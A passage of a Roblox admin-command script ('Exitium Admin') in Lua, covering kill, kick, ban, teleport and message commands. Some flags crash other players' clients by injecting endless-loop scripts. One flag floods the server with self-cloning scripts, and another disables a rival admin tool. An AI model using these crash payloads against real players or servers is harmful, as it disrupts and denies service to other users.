  1976. Dismiss(Speaker)
  1977. Msg = Msg:gsub("-bl", "")
  1978. Output(Speaker, "Banned People:", "Really black")
  1979. for i,v in pairs(exitium.Ranked) do
  1980. if v.Rank < 0 then
  1981. Output(Speaker, i, "Really black")
  1982. end
  1983. end
  1984. elseif GetSplit(Msg) == "s" then
  1985. Msg = Msg:gsub("-s", "")
  1986. local Split = Msg:find(exitium.Bet)
  1987. local Message = Msg:sub(1, Split - 1)
  1988. local Amount = Msg:sub(Split + 1)
  1989. for i = 1, Amount do
  1990. Output(Speaker, Message, "Random")
  1991. end
  1992. else
  1993. if #Msg == 0 then Msg = "Pong!" end
  1994. Msg = string.gsub(Msg, "", "\5")
  1995. Output(Speaker, Msg, "Random")
  1996. end
  1997. end)
  1998. Command("Explode", {"exp", "explode"}, 3, "Explodes someone.", "No Flags", function(Speaker, Msg)
  1999. local PlrTab = getPlayer(Speaker, Msg)
  2000. if #PlrTab > 0 then
  2001. for _,v in pairs(PlrTab) do
  2002. ypcall(function()
  2003. if v.Character and v.Character:findFirstChild("Head") then
  2004. local e = Instance.new("Explosion")
  2005. e.Position = v.Character.Head.Position
  2006. e.Parent = v.Character
  2007. Output("Exploded "..v.Name, Speaker, 5)
  2008. end
  2009. end)
  2010. end
  2011. end
  2012. end)
  2013. Command("Home", {"home", "gh"}, 3, "Tele's someone to the center of base.", "No Flags", function(Speaker, Msg)
  2014. repeat wait() until Speaker.Character:findFirstChild("Torso")
  2015. if Work:findFirstChild("Base") then
  2016. Speaker.Character.Torso.CFrame = Work.Base.CFrame * CFrame.new(0, 5, 0)
  2017. else
  2018. Speaker.Character.Torso.CFrame = CFrame.new(0, 5, 0)
  2019. end
  2020. Output("Brought "..Speaker.Name.." Home", Speaker, 5)
  2021. end)
  2022. Command("Reset", {"reset", "rs"}, 3, "Respawn someone.", "No Flags", function(Speaker, Msg)
  2023. local PlrTab = getPlayer(Speaker, Msg)
  2024. if #PlrTab > 0 then
  2025. for _,v in pairs(PlrTab) do
  2026. ypcall(function()
  2027. v:LoadCharacter()
  2028. Output("Exploded "..v.Name, Speaker, 5)
  2029. end)
  2030. end
  2031. end
  2032. end)
  2033. Command("Rejoin", {"rj", "rej"}, 3, "Rejoins someone.", "No Flags", function(Speaker, Msg)
  2034. local PlrTab = getPlayer(Speaker, Msg)
  2035. if #PlrTab > 0 then
  2036. for _,v in pairs(PlrTab) do
  2037. ypcall(function()
  2038. game:service'TeleportService':Teleport(game.PlaceId,v.Character)
  2039. Output("Rejoined "..v.Name, Speaker, 5)
  2040. end)
  2041. end
  2042. end
  2043. end)
  2044. Command("Kick2", {"kick2", "leave4", "bai3", "kk1", "dc5"}, 2, "Kicks A Player", "-b (Banish) -c (Crash) -n (Nil) -r (Rejoin) -cl (Crash Lag)",function(Speaker, Msg)
  2045. if GetSplit(Msg) == "b" then
  2046. if FindRank(Speaker) < 3 then
  2047. return Output(Speaker, "Your not high enough rank to use this flag!", "Really red")
  2048. end
  2049. Msg = Msg:gsub("-b","")
  2050. local Players = getPlayer(Speaker, Msg)
  2051. if #Players > 0 then
  2052. for _,v in pairs(Players) do
  2053. ypcall(function()
  2054. ChangeRank(v, -1)
  2055. pcall(function() v.Character.Humanoid.Walkspeed = 99e9999 end)
  2056. wait(.3)
  2057. v:Kick()
  2058. end)
  2059. end
  2060. end
  2061. elseif GetSplit(Msg) == "r" then
  2062. Msg = Msg:gsub("-r","")
  2063. local Players = getPlayer(Speaker, Msg)
  2064. if #Players > 0 then
  2065. for _,v in pairs(Players) do
  2066. ypcall(function()
  2067. Exitium.Services.TeleportService:Teleport(game.PlaceId, v)
  2068. end)
  2069. end
  2070. end
  2071. elseif GetSplit(Msg) == "c" then
  2072. Msg = Msg:gsub("-c","")
  2073. local Players = getPlayer(Speaker, Msg)
  2074. if #Players > 0 then
  2075. for _,v in pairs(Players) do
  2076. ypcall(function()
  2077. createLocalScript([[for i=1, 1/0 do Instance.new("ManualSurfaceJointInstance") end]], v:waitForChild("Backpack"))
  2078. end)
  2079. end
  2080. end
  2081. elseif GetSplit(Msg) == "n" then
  2082. Msg = Msg:gsub("-n","")
  2083. local Players = getPlayer(Speaker, Msg)
  2084. if #Players > 0 then
  2085. for _,v in pairs(Players) do
  2086. ypcall(function()
  2087. v.Parent = nil
  2088. end)
  2089. end
  2090. end
  2091. else
  2092. local Players = getPlayer(Speaker, Msg)
  2093. if #Players > 0 then
  2094. for _,v in pairs(Players) do
  2095. ypcall(function()
  2096. v:Kick()
  2097. end)
  2098. end
  2099. end
  2100. end
  2101. end)
  2102. Command("Kick", {"kk", "kick"}, 6, "kicks someone.", "No Flags", function(Speaker, Msg)
  2103. local PlrTab = getPlayer(Speaker, Msg)
  2104. if #PlrTab > 0 then
  2105. for _,v in pairs(PlrTab) do
  2106. ypcall(function()
  2107. v:Kick()
  2108. Output("Killer Kicked "..v.Name, Speaker, 5)
  2109. end)
  2110. end
  2111. end
  2112. end)
  2113. Command("Get Ranked", {"srank", "ranked"}, 1, "Opens Ranked Interface", nil, function(Speaker, Msg)
  2114. Dismiss(Speaker)
  2115. if #Msg == 0 then
  2116. GetRankedInterface(Speaker)
  2117. else
  2118. Msg = Msg:lower()
  2119. local Number = 0
  2120. local Table = {}
  2121. for i,v in pairs(Exitium.Ranked) do
  2122. if i:lower():find(Msg) then
  2123. ypcall(function()
  2124. table.insert(Table, i)
  2125. Number = Number + 1
  2126. end)
  2127. end
  2128. end
  2129. if Number > 1 then
  2130. for _,v in pairs(Table) do
  2131. Output(Speaker, v, nil, function()
  2132. GetRankedInterface(Speaker, v)
  2133. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v)
  2134. end
  2135. else
  2136. for _,v in pairs(Table) do
  2137. GetRankedInterface(Speaker, v)
  2138. end
  2139. end
  2140. end
  2141. end)
  2142. -- Rank 1! --
  2143. Command("Disable CBA", {"remcba", "uncba", "rcba", "baicba"}, 1, "Removes CBA Admin", nil, function(Speaker, Msg)
  2144. local RemoveCBA = Instance.new("StringValue", Exitium.Services.Workspace)
  2145. RemoveCBA.Name = "CBA Attachment"
  2146. RemoveCBA.Value = 'CBA.remove = false;'
  2147. end)
  2148. Command("Insert Asset", {"ins", "insert"}, 1, "Inserts A Tool/HopperBin or Hat", nil, function(Speaker, Msg)
  2149. if Msg == "qlq" then
  2150. for _,v in pairs({"127506105","101734094","73232786","95951330"}) do
  2151. Exitium.Commands["Insert Asset"].Function(Speaker, v)
  2152. end
  2153. else
  2154. local Item = Exitium.Services.InsertService:LoadAsset(tonumber(Msg))
  2155. if Item then
  2156. local Object = Item:GetChildren()[1]
  2157. if Object.className == "Hat" then
  2158. Object.Parent = Speaker.Character
  2159. elseif Object.className == "Tool" or Object.className == "HopperBin" then
  2160. Object.Parent = Speaker.Backpack
  2161. end
  2162. end
  2163. end
  2164. end)
  2165. Command("Kill", {"kill"}, 1, "Kills A Player", "-r (Respawn) -e (Explode) -w (WalkSpeed)",function(Speaker, Msg)
  2166. if GetSplit(Msg) == "r" then
  2167. Msg = Msg:gsub("-r","")
  2168. local Players = getPlayer(Speaker, Msg)
  2169. if #Players > 0 then
  2170. for _,v in pairs(Players) do
  2171. ypcall(function()
  2172. v:LoadCharacter()
  2173. end)
  2174. end
  2175. end
  2176. elseif GetSplit(Msg) == "e" then
  2177. Msg = Msg:gsub("-e", "")
  2178. local Players = getPlayer(Speaker, Msg)
  2179. if #Players > 0 then
  2180. for _,v in pairs(Players) do
  2181. ypcall(function()
  2182. local e = Instance.new'Explosion'
  2183. e.Parent = Exitium.Services.Workspace
  2184. e.BlastRadius = 10
  2185. e.BlastPressure = 10000
  2186. e.Position = v.Character.Torso.Position
  2187. end)
  2188. end
  2189. end
  2190. elseif GetSplit(Msg) == "l" then
  2191. Msg = Msg:gsub("-l", "")
  2192. local Players = getPlayer(Speaker, Msg)
  2193. if #Players > 0 then
  2194. for _,v in pairs(Players) do
  2195. ypcall(function()
  2196. if Exitium.Connections.Killing[v.Name] then
  2197. return Output(Speaker, "You can only loopkill someone one at a time!", "Really red", nil, 3)
  2198. end
  2199. Exitium.Connections.Killing[v.Name] = v.CharacterAdded:connect(function(Character)
  2200. v.Character:BreakJoints()
  2201. end)
  2202. v.Character:BreakJoints()
  2203. end)
  2204. end
  2205. end
  2206. elseif GetSplit(Msg) == "ul" then
  2207. Msg = Msg:gsub("-ul", "")
  2208. local Players = getPlayer(Speaker, Msg)
  2209. if #Players > 0 then
  2210. for _,v in pairs(Players) do
  2211. ypcall(function()
  2212. if Exitium.Connections.Killing[v.Name] then
  2213. Exitium.Connections.Killing[v.Name]:disconnect()
  2214. Exitium.Connections.Killing[v.Name] = nil
  2215. end
  2216. end)
  2217. end
  2218. end
  2219. elseif GetSplit(Msg) == "w" then
  2220. Msg = Msg:gsub("-w", "")
  2221. local Players = getPlayer(Speaker, Msg)
  2222. if #Players > 0 then
  2223. for _,v in pairs(Players) do
  2224. ypcall(function()
  2225. v.Character.Humanoid.WalkSpeed = "99e999"
  2226. end)
  2227. end
  2228. end
  2229. else
  2230. local Players = getPlayer(Speaker, Msg)
  2231. if #Players > 0 then
  2232. for _,v in pairs(Players) do
  2233. ypcall(function()
  2234. v.Character:BreakJoints()
  2235. end)
  2236. end
  2237. end
  2238. end
  2239. end)
  2240. Command("Forcefield", {"ff", "forcefield"}, 1, "Forcefields A Player", "-u (UnFF)", function(Speaker, Msg)
  2241. if GetSplit(Msg) == "u" then
  2242. Msg = Msg:gsub("-u","")
  2243. local Players = getPlayer(Speaker, Msg)
  2244. if #Players > 0 then
  2245. for _,v in pairs(Players) do
  2246. ypcall(function()
  2247. for _, v2 in pairs(v.Character:GetChildren()) do
  2248. if v2:IsA("ForceField") then
  2249. v2:remove()
  2250. end
  2251. end
  2252. end)
  2253. end
  2254. end
  2255. else
  2256. local Players = getPlayer(Speaker, Msg)
  2257. if #Players > 0 then
  2258. for _,v in pairs(Players) do
  2259. ypcall(function()
  2260. Instance.new("ForceField", v.Character)
  2261. end)
  2262. end
  2263. end
  2264. end
  2265. end)
  2266. Command("Godmode", {"god", "godmode"}, 1, "Gives A Player Godmode", "-u (UnGod)", function(Speaker, Msg)
  2267. if GetSplit(Msg) == "u" then
  2268. Msg = Msg:gsub("-u","")
  2269. local Players = getPlayer(Speaker, Msg)
  2270. if #Players > 0 then
  2271. for _,v in pairs(Players) do
  2272. ypcall(function()
  2273. for __,vv in pairs(v.Character:GetChildren()) do
  2274. if vv:IsA('Humanoid') then
  2275. vv.Name = 'lal_its_a_humanoid'
  2276. vv.MaxHealth = 100
  2277. vv.Health = 100
  2278. end
  2279. end
  2280. end)
  2281. end
  2282. end
  2283. else
  2284. local Players = getPlayer(Speaker, Msg)
  2285. if #Players > 0 then
  2286. for _,v in pairs(Players) do
  2287. ypcall(function()
  2288. for __,vv in pairs(v.Character:GetChildren()) do
  2289. if vv:IsA('Humanoid') then
  2290. vv.Name = 'lal_its_a_humanoid'
  2291. vv.MaxHealth = math.huge
  2292. end
  2293. end
  2294. end)
  2295. end
  2296. end
  2297. end
  2298. end)
  2299. Command("Btools", {"btools", "buildtools"}, 3, "Gives btools.", "No Flags", function(Speaker, Msg)
  2300. local PlrTab = getPlayer(Speaker, Msg)
  2301. if #PlrTab > 0 then
  2302. for _,v in pairs(PlrTab) do
  2303. ypcall(function()
  2304. Instance.new("HopperBin", v.Backpack).BinType = "Hammer"
  2305. Instance.new("HopperBin", v.Backpack).BinType = "Clone"
  2306. Instance.new("HopperBin", v.Backpack).BinType = "Grab"
  2307. Output(Speaker, "Gave "..v.Name.." Building Tools", "Really blue")
  2308. end)
  2309. end
  2310. end
  2311. end)
  2312. Command("Clear backpack", {"bpb", "clearb"}, 3, "Removes someones backpack.", "No Flags", function(Speaker, Msg)
  2313. local PlrTab = getPlayer(Speaker, Msg)
  2314. if #PlrTab > 0 then
  2315. for _,v in pairs(PlrTab) do
  2316. ypcall(function()
  2317. v.Backpack:Remove()
  2318. Output(Speaker, "Locked "..v.Name.."'s Gui's", "Really blue")
  2319. end)
  2320. end
  2321. end
  2322. end)
  2323. Command("Credits", {"credits", "credit"}, 3, "Show's Exitium credits.", "No Flags", function(Speaker, Msg)
  2324. wait()
  2325. Dismiss(Speaker)
  2326. Output(Speaker,"Exitium Admin by: iTov", "Really blue", nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=iTov")
  2327. Output(Speaker,"Credit To Cobalt1164", "Royal purple", nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=Cobalt1164")
  2328. Output(Speaker,"Credit To AcidicEmpyreus", "Cyan", nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=AcidicEmpyreus")
  2329. Output(Speaker, "Dismiss")
  2330. end)
  2331. Command("System Message", {"system", "sm"}, 3, "Shouts a System Message.", "No Flags", function(Speaker, Msg)
  2332. SystemMsg(Msg)
  2333. end)
  2334. function Message(str,p,snder)
  2335. if p==nil then
  2336. for _,Player in pairs(game.Players:GetPlayers()) do
  2337. coroutine.wrap(function()
  2338. local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  2339. local Text = Instance.new("TextLabel", Msg)
  2340. Text.Position = UDim2.new(0.5, 0, 0, 0)
  2341. Text.Font=4
  2342. Text.FontSize=9
  2343. Text.BackgroundColor3 = Color3.new(0,0,0)
  2344. Text.BackgroundTransparency = 1
  2345. Text.TextColor3 = Color3.new(0,0,0)
  2346. Text.TextTransparency = 1
  2347. Text.TextWrap = true
  2348. Text.TextStrokeColor3 = Color3.new(0,0,0)
  2349. Text.Text = "From "..snder.Name..":"..tostring(str)
  2350. Text:TweenSizeAndPosition(UDim2.new(0.5, 0, 0, 0), UDim2.new(0.5, 0, 0, 0), "Out", "Back", 2)
  2351. Text.TextTransparency = 0
  2352. Text.TextStrokeTransparency = 0
  2353. Num = #str * 0.06
  2354. wait(3)
  2355. Text:TweenPosition(UDim2.new(0.5, 0, 0, 0), "InOut", "Quad")
  2356. wait(Num)
  2357. Msg:Remove()
  2358. end)()
  2359. end
  2360. else
  2361. Player=p;
  2362. coroutine.wrap(function()
  2363. local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  2364. local Text = Instance.new("TextLabel", Msg)
  2365. Text.Position = UDim2.new(0.5, 0, 0, 0)
  2366. Text.Font=4
  2367. Text.FontSize=9
  2368. Text.BackgroundColor3 = Color3.new(0,0,0)
  2369. Text.BackgroundTransparency = 1
  2370. Text.TextColor3 = Color3.new(0,0,0)
  2371. Text.TextTransparency = 1
  2372. Text.TextStrokeColor3 = Color3.new(0,0,0)
  2373. Text.TextStrokeTransparency = 0
  2374. Text.TextWrap = true
  2375. Text.Text = "Message from "..snder.Name.." :"..tostring(str)
  2376. Text:TweenSizeAndPosition(UDim2.new(0.5, 0, 0, 0), UDim2.new(0.5, 0, 0, 0), "Out", "Back", 2)
  2377. Text.TextTransparency = 0
  2378. Num = #str * 0.06
  2379. wait(3)
  2380. Text:TweenPosition(UDim2.new(0.5, 0, 0, 0), "InOut", "Quad")
  2381. wait(Num)
  2382. Msg:Remove()
  2383. end)()
  2384. end
  2385. end
  2386. function SystemMsg(str)
  2387. for _,Player in pairs(game.Players:GetPlayers()) do
  2388. coroutine.wrap(function()
  2389. local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  2390. local Text = Instance.new("TextLabel", Msg)
  2391. Text.Position = UDim2.new(0.5, 0, 0, 0)
  2392. Text.Font='ArialBold'
  2393. Text.FontSize = "Size48"
  2394. Text.BackgroundColor3 = Color3.new(0,0,0)
  2395. Text.BackgroundTransparency = 1
  2396. Text.TextColor3 = Color3.new(0,0,0)
  2397. Text.TextTransparency = 0
  2398. Text.TextStrokeColor3 = Color3.new(0,0,0)
  2399. Text.TextStrokeTransparency = 0
  2400. Text.TextWrap = true
  2401. Text.Text = ' [-\:/-:[SERVER]:-\:/-] \n ' .. tostring(str)
  2402. Text:TweenSizeAndPosition(UDim2.new(0.5, 0, 0, 0), UDim2.new(0.5, 0, 0, 0), "Out", "Back", 2)
  2403. Text.TextTransparency = 0.1
  2404.  
  2405. Num = #str * 0.06
  2406. wait(6)
  2407. Text:TweenPosition(UDim2.new(0.5, 0, 0, 0), "InOut", "Quad")
  2408. wait(Num)
  2409. Msg:Remove()
  2410. end)()
  2411. end
  2412. end
  2413. function Hint(str,p,snder)
  2414. if p == nil then
  2415. for _,Player in pairs(game.Players:GetPlayers()) do
  2416. coroutine.wrap(function()
  2417. local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  2418. local Text = Instance.new("TextLabel", Msg)
  2419. Text.Position = UDim2.new(0.5, 0, 0, 0)
  2420. Text.Font=4
  2421. Text.FontSize=9
  2422. Text.BackgroundColor3 = Color3.new(0,0,0)
  2423. Text.BackgroundTransparency = 1
  2424. Text.TextColor3 = Color3.new(0,0,0)
  2425. Text.TextTransparency = 1
  2426. Text.TextWrap = true
  2427. Text.TextStrokeColor3 = Color3.new(0,0,0)
  2428. Text.TextStrokeTransparency = 0
  2429. Text.Text = "Hint from "..snder.Name.." :"..tostring(str)
  2430. Text:TweenSizeAndPosition(UDim2.new(0.5, 0, 0, 0), UDim2.new(0.5, 0, 0, 0), "Out", "Back", 2)
  2431. Text.TextTransparency = 0
  2432. Num = #str * 0.06
  2433. wait(3)
  2434. Text:TweenPosition(UDim2.new(0.5, 0, 0, 0), "InOut", "Quad")
  2435. wait(Num)
  2436. Msg:Remove()
  2437. end)()
  2438. end
  2439. else
  2440. Player=p
  2441. coroutine.wrap(function()
  2442. local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  2443. local Text = Instance.new("TextLabel", Msg)
  2444. Text.Position = UDim2.new(0.5, 0, 0, 0)
  2445. Text.Font=4
  2446. Text.FontSize=9
  2447. Text.BackgroundColor3 = Color3.new(0,0,0)
  2448. Text.BackgroundTransparency = 1
  2449. Text.TextColor3 = Color3.new(0,0,0)
  2450. Text.TextTransparency = 1
  2451. Text.TextWrap = true
  2452. Text.Text = "Hint from "..snder.Name..": "..tostring(str)
  2453. Text.TextStrokeColor3 = Color3.new(0,0,0)
  2454. Text.TextStrokeTransparency = 0
  2455. Text:TweenSizeAndPosition(UDim2.new(0.5, 0, 0, 0), UDim2.new(0.5, 0, 0, 0), "Out", "Back", 2)
  2456. Text.TextTransparency = 0
  2457. Num = #str * 0.06
  2458. wait(3)
  2459. Text:TweenPosition(UDim2.new(0.5, 0, 0, 0), "InOut", "Quad")
  2460. wait(Num)
  2461. Msg:Remove()
  2462. end)()
  2463. end
  2464. end
  2465. Command("Explorer", {"explore", "explorer"}, 1, "Explores the Game", "No Flags", function(Speaker, Msg)
  2466. Explorer(Speaker)
  2467. end)
  2468. Command("Players", {"players", "plrs"}, 1, "Shows Players And Options", "-n (Nil Players)", function(Speaker, Msg)
  2469. if GetSplit(Msg) == "n" then
  2470. Dismiss(Speaker)
  2471. local Number_Of_Nils = 0
  2472. for _,v in pairs(getALLPlayers()) do
  2473. if v.Parent ~= Exitium.Services.Players then
  2474. Number_Of_Nils = Number_Of_Nils + 1
  2475. Output(Speaker, "Crash "..v.Name.."?", nil, function()
  2476. Dismiss(Speaker)
  2477. local x = Instance.new("StringValue", Exitium.Services.Lighting)
  2478. x.Name = "Disconnect: "..v.Name
  2479. coroutine.resume(coroutine.create(function()
  2480. wait(0.5)
  2481. if x.Name == "Disconnected: "..v.Name then
  2482. Output(Speaker, "Successfully crashed "..v.Name, "Lime green", nil, 3)
  2483. else
  2484. Output(Speaker, "Failed to crash "..v.Name, "Lime green", nil, 3)
  2485. end
  2486. end))
  2487. end)
  2488. end
  2489. end
  2490. if Number_Of_Nils == 0 then
  2491. return Output(Speaker, "There are no nil players!", "Lime green", nil, 3)
  2492. end
  2493. Output(Speaker, "There are "..Number_Of_Nils.." nil players!", "Lime green")
  2494. Output(Speaker, "Crash All Nils?", "New Yeller", function()
  2495. for _,v in pairs(getALLPlayers()) do
  2496. if v.Parent ~= Exitium.Services.Players then
  2497. local x = Instance.new("Model", Exitium.Services.Workspace)
  2498. local y = Instance.new("Part", x)
  2499. y.Transparency = 1
  2500. y.CanCollide = false
  2501. y.Anchored = true
  2502. y.Name = "Torso"
  2503. y.Position = Vector3.new(10000,10000,10000)
  2504. local z = Instance.new("Humanoid",x)
  2505. z.Torso = y
  2506. v.Character = x
  2507. createLocalScript([[repeat until false]], v.Character)
  2508. end
  2509. end
  2510. end)
  2511. Output(Speaker, "Dismiss")
  2512. else
  2513. ShowPlayers(Speaker)
  2514. end
  2515. end)
  2516. -- Rank 2! --
  2517. Command("Teleport", {"tp", "tele"}, 6, "Teleport's to someone", "No Flags", function(Speaker, Msg)
  2518. if GetSplit(Msg) == "p" then
  2519. Msg = Msg:gsub("-p", "")
  2520. local Split = Msg:find(Exitium.Bet)
  2521. local Player = getPlayer(Speaker,Msg:sub(1, Split - 1))
  2522. local Numbers = Msg:sub(Split + 1)
  2523. if Numbers == "oxsb" then
  2524. Numbers = "20279777"
  2525. elseif Numbers == "qlqsb" then
  2526. Numbers = "54194680"
  2527. elseif Numbers == "anasb" then
  2528. Numbers = "14578699"
  2529. end
  2530. if #Player > 0 then
  2531. for _,v in pairs(Player) do
  2532. ypcall(function()
  2533. createLocalScript([[game:GetService("TeleportService"):Teleport(']]..Numbers..[[')]], v:waitForChild("Backpack"))
  2534. end)
  2535. end
  2536. end
  2537. else
  2538. local Split = Msg:find(Exitium.Bet)
  2539. local Player1 = getPlayer(Speaker,Msg:sub(1, Split - 1))
  2540. local Player2 = getPlayer(Speaker,Msg:sub(Split + 1))
  2541. if #Player1 > 0 or #Player2 > 0 then
  2542. for _,v in pairs(Player1) do
  2543. for _,v2 in pairs(Player2) do
  2544. ypcall(function()
  2545. v.Character.Torso.CFrame = v2.Character.Torso.CFrame*CFrame.new(0,10,0)
  2546. end)
  2547. end
  2548. end
  2549. end
  2550. end
  2551. end)
  2552. Command("Mute", {"mute"}, 2, "Mutes A Player", "-b (Banish) -u (UnMute)", function(Speaker, Msg)
  2553. if GetSplit(Msg) == "b" then
  2554. if FindRank(Speaker) < 3 then
  2555. return Output(Speaker, "Your not high enough rank to use this flag!", "Really red")
  2556. end
  2557. Msg = Msg:gsub("-b","")
  2558. local Players = getPlayer(Speaker, Msg)
  2559. if #Players > 0 then
  2560. for _,v in pairs(Players) do
  2561. ypcall(function()
  2562. ChangeRank(v, -1)
  2563. end)
  2564. end
  2565. end
  2566. elseif GetSplit(Msg) == "u" then
  2567. Msg = Msg:gsub("-u","")
  2568. local Players = getPlayer(Speaker, Msg)
  2569. if #Players > 0 then
  2570. for _,v in pairs(Players) do
  2571. ypcall(function()
  2572. createLocalScript([[game:GetService("StarterGui"):SetCoreGuiEnabled(4, true)]], v:waitForChild("Backpack"))
  2573. end)
  2574. end
  2575. end
  2576. else
  2577. local Players = getPlayer(Speaker, Msg)
  2578. if #Players > 0 then
  2579. for _,v in pairs(Players) do
  2580. ypcall(function()
  2581. createLocalScript([[game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)]], v:waitForChild("Backpack"))
  2582. end)
  2583. end
  2584. end
  2585. end
  2586. end)
  2587. -- Rank 3! --
  2588. Command("Shutdown", {"sd", "shutdown"}, 5, "Shutdowns the Server", "-c (Countdown) -a (Abort) -o (Overflow) -n (New Server)", function(Speaker, Msg)
  2589. if GetSplit(Msg) == "c" then
  2590. Msg = Msg:gsub("-c","")
  2591. for i = 1, Exitium.ShutdownTime do
  2592. if Exitium.Aborted == true then
  2593. Exitium.Aborted = false
  2594. local ABM = Instance.new("Message", Exitium.Services.Workspace)
  2595. ABM.Text = "Shutdown Aborted!"
  2596. Exitium.Services.Debris:AddItem(ABM, 1)
  2597. return
  2598. else
  2599. local ABH = Instance.new("Hint", Exitium.Services.Workspace)
  2600. ABH.Text = "[Shutting down...]"
  2601. local ABM = Instance.new("Message", Exitium.Services.Workspace)
  2602. ABM.Text = "Shutting Down in "..Exitium.ShutdownTime-i.." seconds"
  2603. wait(1)
  2604. if ABM ~= nil then
  2605. ABM:remove()
  2606. end
  2607. if ABH ~= nil then
  2608. ABH:remove()
  2609. end
  2610. end
  2611. end
  2612. Shutdown()
  2613. elseif GetSplit(Msg) == "a" then
  2614. Msg = Msg:gsub("-a", "")
  2615. Exitium.Aborted = true
  2616. elseif GetSplit(Msg) == "o" then
  2617. Msg = Msg:gsub("-o", "")
  2618. createScript([[
  2619. while game:service'RunService'.Stepped:wait() do
  2620. script:Clone().Parent = game:GetService("Workspace")
  2621. end
  2622. ]], Exitium.Services.Workspace)
  2623. else
  2624. Shutdown()
  2625. end
  2626. end)
  2627. Command("Status", {"stats", "status"}, 6, "Locks/Unlocks Scripting", nil, function(Speaker, Msg)
  2628. Dismiss(Speaker)
  2629. Output(Speaker, "Age Restriction", Exitium.AgeRestriction == false and "Really red" or "Lime green", function()
  2630. Dismiss(Speaker)
  2631. Exitium.AgeRestriction = not Exitium.AgeRestriction
  2632. Output("All", "[EXITIUM SYSTEM]; Age Restriction is "..tostring(Exitium.AgeRestriction), Exitium.AgeRestriction == false and "Lime green" or "Really red")
  2633. end)
  2634. Output(Speaker, "Chat Filter", Exitium.ChatFilter.Enabled == false and "Really red" or "Lime green", function()
  2635. Dismiss(Speaker)
  2636. Exitium.ChatFilter.Enabled = not Exitium.ChatFilter.Enabled
  2637. Output("All", "[EXITIUM SYSTEM]; ChatFilter is "..tostring(Exitium.ChatFilter.Enabled), Exitium.ChatFilter.Enabled == false and "Lime green" or "Really red")
  2638. end)
  2639. Output(Speaker, "Script Lock", Exitium.LocalSidedScriptsLock == false and "Really red" or "Lime green", function()
  2640. Dismiss(Speaker)
  2641. Exitium.LocalSidedScriptsLock = not Exitium.LocalSidedScriptsLock
  2642. Output("All", "[EXITIUM SYSTEM]; Scripting is "..tostring(Exitium.LocalSidedScriptsLock), Exitium.LocalSidedScriptsLock == false and "Lime green" or "Really red")
  2643. end)
  2644. end)
  2645. Command("Private Server", {"pri", "privateserver"}, 5, "PrivateServer Menu", nil, function(Speaker,Msg)
  2646. if #Msg == 0 then
  2647. Dismiss(Speaker)
  2648. local Status = Exitium.PrivateServer.Enabled == true and "On" or "Off"
  2649. Output(Speaker, "Turn On", "Lime green", function()
  2650. Dismiss(Speaker)
  2651. for _,v in pairs(Exitium.Services.Players:GetPlayers()) do
  2652. if FindRank(v) <= 0.1 then
  2653. table.insert(Exitium.PrivateServer.Waiting, v.Name)
  2654. v:Kick()
  2655. end
  2656. end
  2657. Exitium.PrivateServer.Enabled = true
  2658. Output(Speaker, "Private Server Enabled", "Really red", nil, 3)
  2659. end)
  2660. Output(Speaker, "Turn Off", "Really red", function() Dismiss(Speaker) Exitium.PrivateServer.Enabled = false Output(Speaker, "Private Server Disabled", "Lime green", nil, 3) end)
  2661. Output(Speaker, "Waiting List", "Deep orange", function()
  2662. Dismiss(Speaker)
  2663. -- [ Bugged ] --
  2664. for i,v in pairs(Exitium.PrivateServer.Waiting) do
  2665. local a,b = ypcall(function()
  2666. Output(Speaker, v, nil, function()
  2667. Dismiss(Speaker)
  2668. ypcall(function()
  2669. table.remove(Exitium.PrivateServer.Waiting, i)
  2670. Exitium.Ranked[v].Rank = 0.5
  2671. end)
  2672. end)
  2673. end)
  2674. if not a then Output("admins", b, 'Really red') end
  2675. end
  2676. Output(Speaker, "Back", "Really blue", function() Exitium.Commands["Private Server"].Function(Speaker, "") end)
  2677. end)
  2678. Output(Speaker, "Status: "..Status)
  2679. elseif Msg == "on" or Msg == "1" or Msg == "true" then
  2680. Exitium.PrivateServer.Enabled = true
  2681. for _,v in pairs(Exitium.Services.Players:GetPlayers()) do
  2682. if FindRank(v) <= 0.1 then
  2683. table.insert(Exitium.PrivateServer.Waiting, v.Name)
  2684. v:Kick()
  2685. end
  2686. end
  2687. Output(Speaker, "Private Server Enabled", "Really red", nil, 3)
  2688. elseif Msg == "off" or Msg == "0" or Msg == "false" then
  2689. Exitium.PrivateServer.Enabled = false
  2690. Output(Speaker, "Private Server Disabled", "Lime green", nil, 3)
  2691. end
  2692. end)
  2693. Command("Clean", {"fc", "clean", "cln"}, 5, "Full Cleans The Server", nil, function(Speaker, Msg)
  2694. FullClean()
  2695. end)
  2696. -- Rank 4! --
  2697.  
  2698. Command("Execute a Script", {"exe", "execute"}, 6, "Executes A String In Script", "No Flags", function(Speaker, Msg)
  2699. local Ran, Error = loadstring(Msg)
  2700. getfenv(Ran).Speaker = Speaker
  2701. getfenv(Ran).print = function(args) local str = "" for _,v in pairs({args}) do str = str..tostring(v).."\t" end Output(Speaker, str, "White") end
  2702. if Error == nil then
  2703. Ran()
  2704. else
  2705. Output(Speaker, Error, "Really red")
  2706. end
  2707. end)
  2708. Command("Ban", {"ban"}, 4, "Ban's a player from the server", "No Flags", function(Speaker, Msg)
  2709. local Players = getPlayer(Speaker, Msg)
  2710. if #Players > 0 then
  2711. for _,v in pairs(Players) do
  2712. ypcall(function()
  2713. Output(Speaker,v.Name..' Has Been Banned!')
  2714. ChangeRank(v, -1)
  2715. v:Kick()
  2716. end)
  2717. end
  2718. end
  2719. end)
  2720. Command("Unban", {"unban"}, 4, "Unban's a player from the server", "No Flags", function(Speaker, Msg)
  2721. local Players = getPlayer(Speaker, Msg)
  2722. if #Players > 0 then
  2723. for _,v in pairs(Players) do
  2724. ypcall(function()
  2725. Output(Speaker,'All players Have Been Unbanned!')
